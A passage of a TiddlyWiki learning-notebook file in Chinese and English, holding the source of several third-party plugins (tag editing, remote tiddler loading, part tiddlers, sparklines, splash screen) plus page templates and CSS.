macro='tagChooser'></span></div>\n"+"<!--\n"+"}}}\n"+"-->\n";config.shadowTiddlers["BSD open source license (abego Software)"]="See [[Licence|http://tiddlywiki.abego-software.de/#%5B%5BBSD%20open%20source%20license%5D%5D]].";config.shadowTiddlers["IntelliTaggerPlugin Documentation"]="[[Documentation on abego Software website|http://tiddlywiki.abego-software.de/doc/IntelliTagger.pdf]].";config.shadowTiddlers["IntelliTaggerPlugin SourceCode"]="[[Plugin source code on abego Software website|http://tiddlywiki.abego-software.de/archive/IntelliTaggerPlugin/Plugin-IntelliTagger-src.1.0.2.js]]\n";(function(){var _126=restart;restart=function(){setStylesheet(store.getTiddlerText("IntelliTaggerStyleSheet"),"IntelliTaggerStyleSheet");_126.apply(this,arguments);};})();}
// %/
/***
|''Name:''|IntelliTagsEditCommandPlugin|
|''Version:''|1.0.0 (2007-10-03)|
|''Type:''|plugin|
|''Description:''|A command for your tiddler's toolbar to directly edit the tiddler's tags using the IntelliTaggerPlugin, without switching to "edit mode".|
|''Source:''|http://tiddlywiki.abego-software.de/#IntelliTagsEditCommandPlugin|
|''Requires:''|IntelliTaggerPlugin http://tiddlywiki.abego-software.de/#IntelliTaggerPlugin|
|''Author:''|Udo Borkowski (ub [at] abego-software [dot] de)|
|''Licence:''|[[BSD open source license (abego Software)]]|
|''~CoreVersion:''|2.0.8|
|''Browser:''|Firefox 1.5.0.2 or better|
***/
/***
!Using the "IntelliTagsEditCommandPlugin"
Add the command {{{intelliTagsEdit}}} into the 'macro' attribute of the 'toolbar' {{{<div...>}}} in your ViewTemplate.

''Example:''
{{{
<div class='toolbar' 
        macro='toolbar -closeTiddler closeOthers +editTiddler intelliTagsEdit permalink references jump'>
</div>
}}}

This adds a "tags" button to the toolbar of the tiddlers (next to the ''edit'' button). Pressing the "tags" button will open the input field for the tiddler's tags and let you edit the tags with all the [[IntelliTaggerPlugin|http://tiddlywiki.abego-software.de/#IntelliTaggerPlugin]] features.
***/
/***
!Source Code
***/
//{{{
(function(){

if (!version.extensions.IntelliTaggerPlugin)
    throw Error("IntelliTagsEditCommandPlugin requires the IntelliTaggerPlugin (http://tiddlywiki.abego-software.de/#IntelliTaggerPlugin)");

if (config.commands.intelliTagsEdit) 
    return;

config.commands.intelliTagsEdit = {
	text: "tags",
	tooltip: "edit the tags"
};

config.commands.intelliTagsEdit.handler = function(event,src,title) {
	var button = abego.IntelliTagger.createEditTagsButton(title, null, "tags", "edit the tags");
	button.onclick(event);
	return false;
};

})();
//}}}


/***
|Name|LoadTiddlersPlugin|
|Source|http://www.TiddlyTools.com/#LoadTiddlersPlugin|
|Documentation|http://www.TiddlyTools.com/#LoadTiddlersPluginInfo|
|Version|3.6.2|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides||
|Options|##Configuration|
|Description|macro for automated updates or one-click installations of tiddlers from remote sources|
***/
//{{{
version.extensions.loadTiddlers = {major: 3, minor: 6, revision: 2, date: new Date(2008,8,5)};

config.macros.loadTiddlers = {
	label: "",
	tip: "add/update tiddlers from '%0'",
	lockedTag: "noReload",	// if existing tiddler has this tag value, don't overwrite it, even if inbound tiddler is newer
	askMsg: "Please enter a local path/filename or a remote URL",
	openMsg: "Opening %0",
	openErrMsg: "Could not open %0 - error=%1",
	readMsg: "Read %0 bytes from %1",
	foundMsg: "Found %0 tiddlers in %1",
	nochangeMsg: "'%0' is up-to-date... skipped.",
	lockedMsg: "'%0' is tagged '%1'... skipped.",
	skippedMsg: "skipped (cancelled by user)",
	loadedMsg: "Loaded %0 of %1 tiddlers from %2",
	reportTitle: "ImportedTiddlers",
	warning: "Warning!!  Processing '%0' as a systemConfig (plugin) tiddler may produce unexpected results! Are you sure you want to proceed?",
	handler: function(place,macroName,params) {
		var label=(params[0] && params[0].substr(0,6)=='label:')?params.shift().substr(6):this.label;
		var tip=(params[0] && params[0].substr(0,7)=='prompt:')?params.shift().substr(7):this.tip;
		var filter="updates";
		if (params[0] && (params[0]=='all' || params[0]=='new' || params[0]=='changes' || params[0]=='updates'
			|| params[0].substr(0,8)=='tiddler:' || params[0].substr(0,4)=='tag:'))
			filter=params.shift();
		var src=params.shift(); if (!src || !src.length) return; // filename is required
		var quiet=(params[0]=="quiet"); if (quiet) params.shift();
		var ask=(params[0]=="confirm"); if (ask) params.shift();
		var force=(params[0]=="force"); if (force) params.shift();
		var init=(params[0]=="init"); if (init) params.shift();
		var noreport=(params[0]=="noreport"); if (noreport) params.shift();
		this.newTags=[]; if (params[0]) this.newTags=params; // any remaining params are used as "autotags"
		if (label.trim().length) {
			// link triggers load tiddlers from another file/URL and then applies filtering rules to add/replace tiddlers in the store
			createTiddlyButton(place,label.format([src.replace(/%20/g," ")]),tip.format([src.replace(/%20/g," ")]), function() {
				if (src=="ask") src=prompt(this.askMsg);
				config.macros.loadTiddlers.loadFile(src,config.macros.loadTiddlers.doImport,{quiet:quiet,ask:ask,filter:filter,force:force,init:init,noreport:noreport});
			})
		}
		else {
			// load tiddlers from another file/URL and then apply filtering rules to add/replace tiddlers in the store
			if (src=="ask") src=prompt(this.askMsg);
			config.macros.loadTiddlers.loadFile(src,config.macros.loadTiddlers.doImport,{quiet:quiet,ask:ask,filter:filter,force:force,init:init,noreport:noreport});
		}
	},
	loadFile: function(src,callback,params) {
		var quiet=params.quiet;
		if (src==undefined || !src.length) return null; // filename is required
		if (!quiet) clearMessage();
		if (!quiet) displayMessage(this.openMsg.format([src.replace(/%20/g," ")]));
		if (src.substr(0,5)!="http:" && src.substr(0,5)!="file:") { // if not a URL, read from local filesystem
			var txt=loadFile(src);
			if (!txt) { // file didn't load, might be relative path.. try fixup
				var pathPrefix=document.location.href;  // get current document path and trim off filename
				var slashpos=pathPrefix.lastIndexOf("/"); if (slashpos==-1) slashpos=pathPrefix.lastIndexOf("\\"); 
				if (slashpos!=-1 && slashpos!=pathPrefix.length-1) pathPrefix=pathPrefix.substr(0,slashpos+1);
				src=pathPrefix+src;
				if (pathPrefix.substr(0,5)!="http:") src=getLocalPath(src);
				var txt=loadFile(src);
			}
			if (!txt) { // file still didn't load, report error
				if (!quiet) displayMessage(this.openErrMsg.format([src.replace(/%20/g," "),"(unknown)"]));
			} else {
				if (!quiet) displayMessage(this.readMsg.format([txt.length,src.replace(/%20/g," ")]));
				if (callback) callback(true,params,convertUTF8ToUnicode(txt),src,null);
			}
		} else {
			var name=config.options.txtRemoteUsername; var pass=config.options.txtRemotePassword;
			var x=doHttp("GET",src,null,null,name,pass,callback,params,null);
		}
	},
	readTiddlersFromHTML: function(html) {
		// for TW2.2+
		if (TiddlyWiki.prototype.importTiddlyWiki!=undefined) {
			var remoteStore=new TiddlyWiki();
			remoteStore.importTiddlyWiki(html);
			return remoteStore.getTiddlers("title");	
		}
	},
	doImport: function(status,params,html,src,xhr) {
		var quiet=params.quiet;
		var ask=params.ask;
		var filter=params.filter;
		var force=params.force;
		var init=params.init;
		var noreport=params.noreport;
		var tiddlers = config.macros.loadTiddlers.readTiddlersFromHTML(html);
		var count=tiddlers?tiddlers.length:0;
		var querypos=src.lastIndexOf("?"); if (querypos!=-1) src=src.substr(0,querypos);
		if (!quiet) displayMessage(config.macros.loadTiddlers.foundMsg.format([count,src.replace(/%20/g," ")]));
		store.suspendNotifications();
		var count=0;
		if (tiddlers) for (var t=0;t<tiddlers.length;t++) {
			var inbound = tiddlers[t];
			var theExisting = store.getTiddler(inbound.title);
			if (inbound.title==config.macros.loadTiddlers.reportTitle)
				continue; // skip "ImportedTiddlers" history from the other document...
			if (theExisting && theExisting.tags.contains(config.macros.loadTiddlers.lockedTag)) {
				if (!quiet) displayMessage(config.macros.loadTiddlers.lockedMsg.format([theExisting.title,config.macros.loadTiddlers.lockedTag]));
				continue; // skip existing tiddler if tagged with 'noReload'
			}
			// apply the all/new/changes/updates filter (if any)
			if (filter && filter!="all") {
				if ((filter=="new") && theExisting) // skip existing tiddlers
					continue;
				if ((filter=="changes") && !theExisting) // skip new tiddlers
					continue;
				if ((filter.substr(0,4)=="tag:") && inbound.tags.indexOf(filter.substr(4))==-1) // must match specific tag value
					continue;
				if ((filter.substr(0,8)=="tiddler:") && inbound.title!=filter.substr(8)) // must match specific tiddler name
					continue;
				if (!force && store.tiddlerExists(inbound.title) && ((theExisting.modified.getTime()-inbound.modified.getTime())>=0))
					{ if (!quiet) displayMessage(config.macros.loadTiddlers.nochangeMsg.format([inbound.title])); continue; }
			}
			// get confirmation if required
			if (ask && !confirm((theExisting?"Update":"Add")+" tiddler '"+inbound.title+"'\nfrom "+src.replace(/%20/g," ")+"\n\nOK to proceed?"))
				{ tiddlers[t].status=config.macros.loadTiddlers.skippedMsg; continue; }
			// DO IT!
			var tags=Array.concat(inbound.tags,config.macros.loadTiddlers.newTags);
	                store.saveTiddler(inbound.title, inbound.title, inbound.text, inbound.modifier, inbound.modified, tags, inbound.fields, true, inbound.created);
	                store.fetchTiddler(inbound.title).created = inbound.created; // force creation date to imported value - needed for TW2.1.3 or earlier
			tiddlers[t].status=theExisting?"updated":"added"
			if (init && tags.contains("systemConfig") && !tags.contains("systemConfigDisable")) {
				var ok=true;
				if (ask||!quiet) ok=confirm(config.macros.loadTiddlers.warning.format([inbound.title]))
				if (ok) { // run the plugin
					try { window.eval(inbound); tiddlers[t].status+=" (plugin initialized)"; }
					catch(ex) { displayMessage(config.messages.pluginError.format([exceptionText(ex)])); }
				}
			}
			count++;
		}
		store.resumeNotifications();
		if (count) {
			// refresh display
			store.setDirty(true); store.notifyAll();
			// generate a report
			if (!noreport) config.macros.loadTiddlers.report(src,tiddlers,count,quiet);
		}
		// always show final message when tiddlers were actually loaded
		if (!quiet||count) displayMessage(config.macros.loadTiddlers.loadedMsg.format([count,tiddlers.length,src.replace(/%20/g," ")]));
	},
	report: function(src,tiddlers,count,quiet) {
		// format the new report content
		var newText = "On "+(new Date()).toLocaleString()+", ";
		newText += config.options.txtUserName+" loaded "+count+" tiddlers ";
		newText += "from\n[["+src+"|"+src+"]]:\n";
		newText += "<<<\n";
		for (var t=0; t<tiddlers.length; t++)
			if (tiddlers[t].status)
				newText += "#[["+tiddlers[t].title+"]] - "+tiddlers[t].status+"\n";
		newText += "<<<\n";
		// get current report (if any)
		var title=config.macros.loadTiddlers.reportTitle;
		var currText="";
		var theReport = store.getTiddler(title);
		if (theReport) currText=((theReport.text!="")?'\n----\n':"")+theReport.text;
		// update the ImportedTiddlers content and show the tiddler
		store.saveTiddler(title, title, newText+currText, config.options.txtUserName, new Date(), theReport?theReport.tags:null, theReport?theReport.fields:null);
		if (!quiet) { story.displayTiddler(null,title,1,null,null,false); story.refreshTiddler(title,1,true); }
	}
}
//}}}
<<tagsTree twcms "" 1 4 index label>>
<<tagsTree servlet01 "" 1 4 index label>>
<<tagsTree servlet02 "" 1 4 index label>>
<<tagsTree servlet03 "" 1 4 index label>>
<<tagsTree servlet04 "" 1 4 index label>>
<<tagsTree servlet05 "" 1 4 index label>>
<<tagsTree servlet06 "" 1 4 index label>>
<<tagsTree servlet07 "" 1 4 index label>>
<<tagsTree servlet08 "" 1 4 index label>>
<<tagsTree servlet09 "" 1 4 index label>>
<<tagsTree KMKConfig "" 1 4 index label>>
<<tagsTree menu "" 1 4 index label>>
<!--{{{-->
<link rel='alternate' type='application/rss+xml' title='RSS' href='index.xml'/>
<!--}}}-->

<!--{{{-->
<style type="text/css">
#contentWrapper {display:none;}
</style>

<div id="SplashScreen" style="border: 3px solid #ccc; display: block; text-align: center; width: 320px; margin: 100px auto; padding: 50px; color:#000; font-size: 28px; font-family:Tahoma; background-color:#eee;">
<b>toBala KM King</b><br><br><img src="loader.gif"><br>
<span style="font-size: 14px; color:red;">Requires Javascript.</span>
</div>
<!--}}}-->


這些設定將暫存於瀏覽器
請簽名<<option txtUserName>>
 (範例:WikiWord)

 <<option chkSaveBackups>> 儲存備份
 <<option chkAutoSave>> 自動儲存
 <<option chkRegExpSearch>> 正規式搜尋
 <<option chkCaseSensitiveSearch>> 區分大小寫搜尋
 <<option chkAnimate>> 使用動畫顯示
----
 [[進階選項|AdvancedOptions]]
<!--{{{-->
<div class='header' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>
<div class='headerShadow'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
<div class='headerForeground'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
</div>

<div id='toolBar' refresh='content' force='true' tiddler='toBalaToolBar'></div>
<div id='mainMenu' refresh='content' force='true' tiddler='MainMenu'></div>

<div id='displayArea'>
<div id='messageArea'></div>
<div id='tiddlersBar' refresh='none' ondblclick='config.macros.tiddlersBar.onTiddlersBarAction(event)'></div>
<div id='tiddlerDisplay'></div>
</div>

<iframe id='ApplicationArea' width='100%' height='100%'></iframe>
<!--}}}-->
//{{{
//============================================================================
//                           PartTiddlerPlugin

// Ensure that the PartTiddler Plugin is only installed once.
//
if (!version.extensions.PartTiddlerPlugin) {

version.extensions.PartTiddlerPlugin = {
    major: 1, minor: 0, revision: 9,
    date: new Date(2007, 6, 14), 
    type: 'plugin',
    source: "http://tiddlywiki.abego-software.de/#PartTiddlerPlugin"
};

if (!window.abego) window.abego = {};
if (version.major < 2) alertAndThrow("PartTiddlerPlugin requires TiddlyWiki 2.0 or newer.");

//============================================================================
// Common Helpers

// Looks for the next newline, starting at the index-th char of text. 
//
// If there are only whitespaces between index and the newline 
// the index behind the newline is returned, 
// otherwise (or when no newline is found) index is returned.
//
var skipEmptyEndOfLine = function(text, index) {
	var re = /(\n|[^\s])/g;
	re.lastIndex = index;
	var result = re.exec(text);
	return (result && text.charAt(result.index) == '\n') 
			? result.index+1
			: index;
}


//============================================================================
// Constants

var partEndOrStartTagRE = /(<\/part>)|(<part(?:\s+)((?:[^>])+)>)/mg;
var partEndTagREString = "<\\/part>";
var partEndTagString = "</part>";

//============================================================================
// Plugin Specific Helpers

// Parse the parameters inside a <part ...> tag and return the result.
//
// @return [may be null] {partName: ..., isHidden: ...}
//
var parseStartTagParams = function(paramText) {
	var params = paramText.readMacroParams();
	if (params.length == 0 || params[0].length == 0) return null;
	
	var name = params[0];
	var paramsIndex = 1;
	var hidden = false;
	if (paramsIndex < params.length) {
		hidden = params[paramsIndex] == "hidden";
		paramsIndex++;
	}
	
	return {
		partName: name, 
		isHidden: hidden
	};
}

// Returns the match to the next (end or start) part tag in the text, 
// starting the search at startIndex.
// 
// When no such tag is found null is returned, otherwise a "Match" is returned:
// [0]: full match
// [1]: matched "end" tag (or null when no end tag match)
// [2]: matched "start" tag (or null when no start tag match)
// [3]: content of start tag (or null if no start tag match)
//
var findNextPartEndOrStartTagMatch = function(text, startIndex) {
	var re = new RegExp(partEndOrStartTagRE);
	re.lastIndex = startIndex;
	var match = re.exec(text);
	return match;
}

//============================================================================
// Formatter

// Process the <part ...> ... </part> starting at (w.source, w.matchStart) for formatting.
//
// @return true if a complete part section (including the end tag) could be processed, false otherwise.
//
var handlePartSection = function(w) {
	var tagMatch = findNextPartEndOrStartTagMatch(w.source, w.matchStart);
	if (!tagMatch) return false;
	if (tagMatch.index != w.matchStart || !tagMatch[2]) return false;

	// Parse the start tag parameters
	var arguments = parseStartTagParams(tagMatch[3]);
	if (!arguments) return false;
	
	// Continue processing
	var startTagEndIndex = skipEmptyEndOfLine(w.source, tagMatch.index + tagMatch[0].length);
	var endMatch = findNextPartEndOrStartTagMatch(w.source, startTagEndIndex);
	if (endMatch && endMatch[1]) {
		if (!arguments.isHidden) {
			w.nextMatch = startTagEndIndex;
			w.subWikify(w.output,partEndTagREString);
		}
		w.nextMatch = skipEmptyEndOfLine(w.source, endMatch.index + endMatch[0].length);
		
		return true;
	}
	return false;
}

config.formatters.push( {
    name: "part",
    match: "<part\\s+[^>]+>",
	
	handler: function(w) {
		if (!handlePartSection(w)) {
			w.outputText(w.output,w.matchStart,w.matchStart+w.matchLength);
		}
	}
} )

//============================================================================
// Extend "fetchTiddler" functionality to also recognize "part"s of tiddlers 
// as tiddlers.

var currentParent = null; // used for the "." parent (e.g. in the "tiddler" macro)

// Return the match to the first <part ...> tag of the text that has the
// requrest partName.
//
// @return [may be null]
//
var findPartStartTagByName = function(text, partName) {
	var i = 0;
	
	while (true) {
		var tagMatch = findNextPartEndOrStartTagMatch(text, i);
		if (!tagMatch) return null;

		if (tagMatch[2]) {
			// Is start tag
	
			// Check the name
			var arguments = parseStartTagParams(tagMatch[3]);
			if (arguments && arguments.partName == partName) {
				return tagMatch;
			}
		}
		i = tagMatch.index+tagMatch[0].length;
	}
}

// Return the part "partName" of the given parentTiddler as a "readOnly" Tiddler 
// object, using fullName as the Tiddler's title. 
//
// All remaining properties of the new Tiddler (tags etc.) are inherited from 
// the parentTiddler.
// 
// @return [may be null]
//
var getPart = function(parentTiddler, partName, fullName) {
	var text = parentTiddler.text;
	var startTag = findPartStartTagByName(text, partName);
	if (!startTag) return null;
	
	var endIndexOfStartTag = skipEmptyEndOfLine(text, startTag.index+startTag[0].length);
	var indexOfEndTag = text.indexOf(partEndTagString, endIndexOfStartTag);

	if (indexOfEndTag >= 0) {
		var partTiddlerText = text.substring(endIndexOfStartTag,indexOfEndTag);
		var partTiddler = new Tiddler();
		partTiddler.set(
						fullName,
						partTiddlerText,
						parentTiddler.modifier,
						parentTiddler.modified,
						parentTiddler.tags,
						parentTiddler.created);
		partTiddler.abegoIsPartTiddler = true;
		return partTiddler;
	}
	
	return null;
}

// Hijack the store.fetchTiddler to recognize the "part" addresses.
//
var hijackFetchTiddler = function() {
	var oldFetchTiddler = store.fetchTiddler ;
	store.fetchTiddler = function(title) {
		var result = oldFetchTiddler.apply(this, arguments);
		if (!result && title) {
			var i = title.lastIndexOf('/');
			if (i > 0) {
				var parentName = title.substring(0, i);
				var partName = title.substring(i+1);
				var parent = (parentName == ".") 
						? store.resolveTiddler(currentParent)
						: oldFetchTiddler.apply(this, [parentName]);
				if (parent) {
					return getPart(parent, partName, parent.title+"/"+partName);
				}
			}
		}
		return result;	
	};
};

// for debugging the plugin is not loaded through the systemConfig mechanism but via a script tag. 
// At that point in the "store" is not yet defined. In that case hijackFetchTiddler through the restart function.
// Otherwise hijack now.
if (!store) {
	var oldRestartFunc = restart;
	window.restart = function() {
		hijackFetchTiddler();
		oldRestartFunc.apply(this,arguments);
	};
} else
	hijackFetchTiddler();




// The user must not edit a readOnly/partTiddler
//

config.commands.editTiddler.oldIsReadOnlyFunction = Tiddler.prototype.isReadOnly;

Tiddler.prototype.isReadOnly = function() {
	// Tiddler.isReadOnly was introduced with TW 2.0.6.
	// For older version we explicitly check the global readOnly flag
	if (config.commands.editTiddler.oldIsReadOnlyFunction) {
		if (config.commands.editTiddler.oldIsReadOnlyFunction.apply(this, arguments)) return true;
	} else {
		if (readOnly) return true;
	}

	return this.abegoIsPartTiddler;
}

config.commands.editTiddler.handler = function(event,src,title)
{
	var t = store.getTiddler(title);
	// Edit the tiddler if it either is not a tiddler (but a shadowTiddler)
	// or the tiddler is not readOnly
	if(!t || !t.abegoIsPartTiddler)
		{
		clearMessage();
		story.displayTiddler(null,title,DEFAULT_EDIT_TEMPLATE);
		story.focusTiddler(title,"text");
		return false;
		}
}

// To allow the "./partName" syntax in macros we need to hijack 
// the invokeMacro to define the "currentParent" while it is running.
// 
var oldInvokeMacro = window.invokeMacro;
function myInvokeMacro(place,macro,params,wikifier,tiddler) {
	var oldCurrentParent = currentParent;
	if (tiddler) currentParent = tiddler;
	try {
		oldInvokeMacro.apply(this, arguments);
	} finally {
		currentParent = oldCurrentParent;
	}
}
window.invokeMacro = myInvokeMacro;

// To correctly support the "./partName" syntax while refreshing we need to hijack 
// the config.refreshers.tiddlers to define the "currentParent" while it is running.
// 
(function() {
	var oldTiddlerRefresher= config.refreshers.tiddler;
	config.refreshers.tiddler = function(e,changeList) {
		var oldCurrentParent = currentParent;
		try {
			currentParent = e.getAttribute("tiddler");
			return oldTiddlerRefresher.apply(this,arguments);
		} finally {
			currentParent = oldCurrentParent;
		}
	};
})();

// Support "./partName" syntax inside <<tabs ...>> macro
(function() {
	var extendRelativeNames = function(e, title) {
		var nodes = e.getElementsByTagName("a");
		for(var i=0; i<nodes.length; i++) {
			var node = nodes[i];
			var s = node.getAttribute("content");
			if (s && s.indexOf("./") == 0)
				node.setAttribute("content",title+s.substr(1));
		}
	};
	var oldHandler = config.macros.tabs.handler;
	config.macros.tabs.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
		var result = oldHandler.apply(this,arguments);
		if (tiddler)
			extendRelativeNames(place, tiddler.title);
		return result;
	};
})();

// Scroll the anchor anchorName in the viewer of the given tiddler visible.
// When no tiddler is defined use the tiddler of the target given event is used.
window.scrollAnchorVisible = function(anchorName, tiddler, evt) {
	var tiddlerElem = null;
	if (tiddler) {
		tiddlerElem = document.getElementById(story.idPrefix + tiddler);
	}
	if (!tiddlerElem && evt) {
		var target = resolveTarget(evt);
		tiddlerElem = story.findContainingTiddler(target);
	}
	if (!tiddlerElem) return;

	var children = tiddlerElem.getElementsByTagName("a");
	for (var i = 0; i < children.length; i++) {
		var child = children[i];
		var name = child.getAttribute("name");
		if (name == anchorName) {
			var y = findPosY(child);
			window.scrollTo(0,y);
			return;
		}
	}
}

} // of "install only once"
//}}}


<<tabs txtMainTab "最近更新" "依更新日期排序" TabTimeline "分類" "所有標籤" TabTags "設定文章" "說所有設定文章" TabMoreShadowed>>
V1.0 (2009/05/06) 由土芭樂知識聯盟設計與維護
Web 應用系統開發 - 學習筆記本
/***
|''Name:''|SparklinePlugin|
|''Description:''|Sparklines macro|
***/
//{{{
if(!version.extensions.SparklinePlugin) {
version.extensions.SparklinePlugin = {installed:true};

//--
//-- Sparklines
//--

config.macros.sparkline = {};
config.macros.sparkline.handler = function(place,macroName,params)
{
	var data = [];
	var min = 0;
	var max = 0;
	var v;
	for(var t=0; t<params.length; t++) {
		v = parseInt(params[t]);
		if(v < min)
			min = v;
		if(v > max)
			max = v;
		data.push(v);
	}
	if(data.length < 1)
		return;
	var box = createTiddlyElement(place,"span",null,"sparkline",String.fromCharCode(160));
	box.title = data.join(",");
	var w = box.offsetWidth;
	var h = box.offsetHeight;
	box.style.paddingRight = (data.length * 2 - w) + "px";
	box.style.position = "relative";
	for(var d=0; d<data.length; d++) {
		var tick = document.createElement("img");
		tick.border = 0;
		tick.className = "sparktick";
		tick.style.position = "absolute";
		tick.src = "data:image/gif,GIF89a%01%00%01%00%91%FF%00%FF%FF%FF%00%00%00%C0%C0%C0%00%00%00!%F9%04%01%00%00%02%00%2C%00%00%00%00%01%00%01%00%40%02%02T%01%00%3B";
		tick.style.left = d*2 + "px";
		tick.style.width = "2px";
		v = Math.floor(((data[d] - min)/(max-min)) * h);
		tick.style.top = (h-v) + "px";
		tick.style.height = v + "px";
		box.appendChild(tick);
	}
};


}
//}}}
/***

''Inspired by [[TiddlyPom|http://www.warwick.ac.uk/~tuspam/tiddlypom.html]]''

|Name|SplashScreenPlugin|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/#SplashScreenPlugin|
|Version|0.21 |
|Requires|~TW2.08+|
!Description:
Provides a simple splash screen that is visible while the TW is loading.

!Installation
Copy the source text of this tiddler to your TW in a new tiddler, tag it with systemConfig and save and reload. The SplashScreen will now be installed and will be visible the next time you reload your TW.

!Customizing
Once the SplashScreen has been installed and you have reloaded your TW, the splash screen html will be present in the MarkupPreHead tiddler. You can edit it and customize to your needs.

!History
* 20-07-06 : version 0.21, modified to hide contentWrapper while SplashScreen is displayed.
* 26-06-06 : version 0.2, first release

!Code
***/
//{{{
var old_lewcid_splash_restart=restart;

restart = function()
{   if (document.getElementById("SplashScreen"))
        document.getElementById("SplashScreen").style.display = "none";
      if (document.getElementById("contentWrapper"))
        document.getElementById("contentWrapper").style.display = "block";
    
    old_lewcid_splash_restart();
   
    if (splashScreenInstall)
       {if(config.options.chkAutoSave)
			{saveChanges();}
        displayMessage("TW SplashScreen has been installed, please save and refresh your TW.");
        }
}


var oldText = store.getTiddlerText("MarkupPreHead");
if (oldText.indexOf("SplashScreen")==-1)
   {var siteTitle = store.getTiddlerText("SiteTitle");
   var splasher='\n\n<style type="text/css">#contentWrapper {display:none;}</style><div id="SplashScreen" style="border: 3px solid #ccc; display: block; text-align: center; width: 320px; margin: 100px auto; padding: 50px; color:#000; font-size: 28px; font-family:Tahoma; background-color:#eee;"><b>'+siteTitle +'</b> is loading<blink> ...</blink><br><br><span style="font-size: 14px; color:red;">Requires Javascript.</span></div>';
   if (! store.tiddlerExists("MarkupPreHead"))
       {var myTiddler = store.createTiddler("MarkupPreHead");}
   else
      {var myTiddler = store.getTiddler("MarkupPreHead");}
      myTiddler.set(myTiddler.title,oldText+splasher,config.options.txtUserName,null,null);
      store.setDirty(true);
      var splashScreenInstall = true;
}
//}}}
/*{{{*/

/* 應用模式的樣式設定 */
#ApplicationArea {display:none;width:100px;height:100%;}


/* option 巨集文字欄位的長度 */
.txtOptionInput {width:40em;}


/* 主要項目樣式 

    在 Tiddler 中的使用格式如下 :
    {{item1{Item description}}}

*/
.item1{
 line-height:28px;
 font-weight:bold; 
 font-size:14px;
 border-left: 10px solid blue;
 margin:0px 0px 0px 0px;
 padding: 0px 0px 0px 3px;
 background-color:transparent;
}

/* 實作項目樣式 

    在 Tiddler 中的使用格式如下 :
    {{op1{operation description}}}

*/
.op1{
 line-height:28px;
 font-weight:bold; 
 font-size:14px;
 margin:0px 0px 0px 0px;
 padding: 0px 0px 0px 0px;
 background-color:transparent;
}


/*
Making preformated <pre> text wrap in CSS3, Mozilla, Opera and IE

word-wrap: break-word; - 視窗邊界換行,僅 IE 支援。也可以用 word-brak: break-all; 但不會保持英文單字的完整性。
white-space: pre; - 對某標籤作預先格式化,所有標準瀏覽器皆支援。
white-space: -moz-pre-wrap; - 預先格式化,但在元素邊界換行,僅 Mozilla (Firefox) 支援。
white-space: pre-wrap; - 預先格式化,但在元素邊界換行,僅 Opera 支援。
*/
.viewer pre {
  font-size:12px;
  white-space: pre-wrap;       /* css-3 */
  white-space: -moz-pre-wrap;  /* Mozilla, since 1999 */
  white-space: -pre-wrap;      /* Opera 4-6 */
  white-space: -o-pre-wrap;    /* Opera 7 */
  word-wrap: break-word;       /* Internet Explorer 5.5+ */
}
.viewer pre {border:1px solid [[ColorPalette::SecondaryLight]]; background:[[ColorPalette::SecondaryPale]];}


/*
無框線表格樣式設定, 以下是使用範例:

|!Col1|!Col2|!Col3|
|r1c1| r1r2c2 |r1c3|
|r2c1|~|r2c3|
|borderless|k    // 使用格式

*/
.borderless, .borderless table, .borderless td, .borderless tr, .borderless th, .borderless tbody { 
   border:0 !important; margin:0 !important; padding:2px !important; 
   td.vertical-align:top !important;margin-left: auto !important; 
   margin-right: auto !important;
}

.externalLink {text-decoration:none}

#toolBar { 
 background-color: #eee; 
 color:#ccc;
 width: auto;
 text-align:left;
 padding: 0.4em 0.6em 0.4em 0.6em;
}

h1,h2,h3 {padding-bottom:1px; margin-top:0.1em;margin-bottom:0.1em;}
h4,h5,h6 {margin-top:0.1em;}
h1 {font-size:1.2em;}
h2 {font-size:1.0em;}
h3 {font-size:1.0em;}
h4 {font-size:0.8em;}
h5 {font-size:.0.8em;}

.headerShadow {position:relative; padding:2.0em 0em 1em 1em; left:-1px; top:-1px;}
.headerForeground {position:absolute; padding:2.0em 0em 1em 1em; left:0px; top:0px;}

#mainMenu {
position:absolute; left:0; width:15.5em; text-align:left; line-height:1.2em; 
padding:1.0em 0.5em 0.2em 0.5em; font-size:1em;
}

#displayArea {margin:1em 1em 0em 17em;}

/*
 toBalaFile 巨集的 Style 設定
*/
.toBalaFile {background:#fff; border:0px solid #ccc; padding:1px 7px 1px 3px; margin:2px;}
.toBalaFileEdit {border:1px solid #841;padding:2px;margin:2px 5px 2px 5px;}
.toBalaFileCancel {border:1px solid #841;padding:2px;margin:2px 5px 2px 5px;}
.toBalaFileToolBar {background:#fff;border-bottom: 3px solid #841;padding:3px 0px 5px 0px;margin:5px 0px 0px 5px;}
.toBalaFileSave {border:1px solid #841;padding:2px;margin:2px 5px 2px 5px;}

/*}}}*/
/*{{{*/
/***** LAYOUT STYLES -  DO NOT EDIT! *****/
ul.suckerfish, ul.suckerfish ul {
	margin: 0;
	padding: 0;
	list-style: none;
	line-height:1.4em;
}

ul.suckerfish  li {
	display: inline-block; 
	display: block;
	float: left; 
}

ul.suckerfish li ul {
	position: absolute;
	left: -999em;
}

ul.suckerfish li:hover ul, ul.suckerfish li.sfhover ul {
	left: auto;
}

ul.suckerfish ul li {
	float: none;
	border-right: 0;
	border-left:0;
}

ul.suckerfish a, ul.suckerfish a:hover {
	display: block;
}

ul.suckerfish li a.tiddlyLink, ul.suckerfish li a, #mainMenu ul.suckerfish li a {font-weight:bold;}
/**** END LAYOUT STYLES *****/


/**** COLORS AND APPEARANCE - DEFAULT *****/
ul.suckerfish li a {
	padding: 0.5em 1.5em;
	color: #FFF;
	background: #0066aa;
	border-bottom: 0;
	font-weight:bold;
}

ul.suckerfish li:hover a, ul.suckerfish li.sfhover a{
	background: #00558F;
}

ul.suckerfish li:hover ul a, ul.suckerfish li.sfhover ul a{
	color: #000;
	background: #eff3fa;
	border-top:1px solid #FFF;
}

ul.suckerfish ul li a:hover {
	background: #e0e8f5;
}

ul.suckerfish li a{
	width:9em;
}

